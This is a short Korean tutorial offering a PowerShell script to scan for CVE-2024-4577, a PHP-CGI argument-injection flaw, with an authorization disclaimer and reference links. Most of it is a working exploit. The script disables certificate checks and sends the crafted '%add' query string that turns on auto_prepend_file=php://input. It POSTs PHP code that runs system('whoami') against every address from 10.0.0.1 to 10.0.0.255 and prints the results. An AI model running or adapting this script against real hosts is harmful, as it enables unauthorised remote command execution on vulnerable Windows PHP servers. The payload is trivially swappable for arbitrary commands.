
PowsrShell로 CVE-2024-4577 스캔
참고:
대상 환경에서 이러한 침투 테스트를 수행할 권한이 있는지 확인하십시오. 허가 없이 공격 기술을 사용하면 관련 법률을 위반할 수 있습니다.
이 코드는 교육 및 연구 목적으로만 제공되며, 합법적이고 윤리적인 범위 내에서 사용하십시오.
침투 테스트가 초래할 수 있는 결과를 이해하지 못한다면, 레드팀 전문가를 고용하여 테스트를 진행하는 것이 좋습니다.
먼저 웹 인증서 검사를 무시하도록 설정합니다.
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
주요 공격 Payload
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"
function으로 묶고 PowerShell 내장 Invoke-WebRequest로 전송합니다 (TimeoutSec 설정은 필요에 따라 조정 가능).
function Invoke-RequestForIP {
param (
[string]$IP,
[string]$Protocol
)
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"
try {
$response = Invoke-WebRequest -Uri $url -Method Post -Body $body -UseBasicParsing -TimeoutSec 2
return $response.Content
} catch {
return $_.Exception.Message
}
}
루프를 통해 10.0.0.1 ~ 10.0.0.255 스캔
$baseIP = "10.0.0."
$start = 1
$end = 255
for ($i = $start; $i -le $end; $i++) {
$currentIP = $baseIP + $i
foreach ($protocol in @("http", "https")) {
$result = Invoke-RequestForIP -IP $currentIP -Protocol $protocol
Write-Output "IP: $currentIP, Protocol: $protocol, Result: $result"
}
}
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability
https://nvd.nist.gov/vuln/detail/cve-2024-4577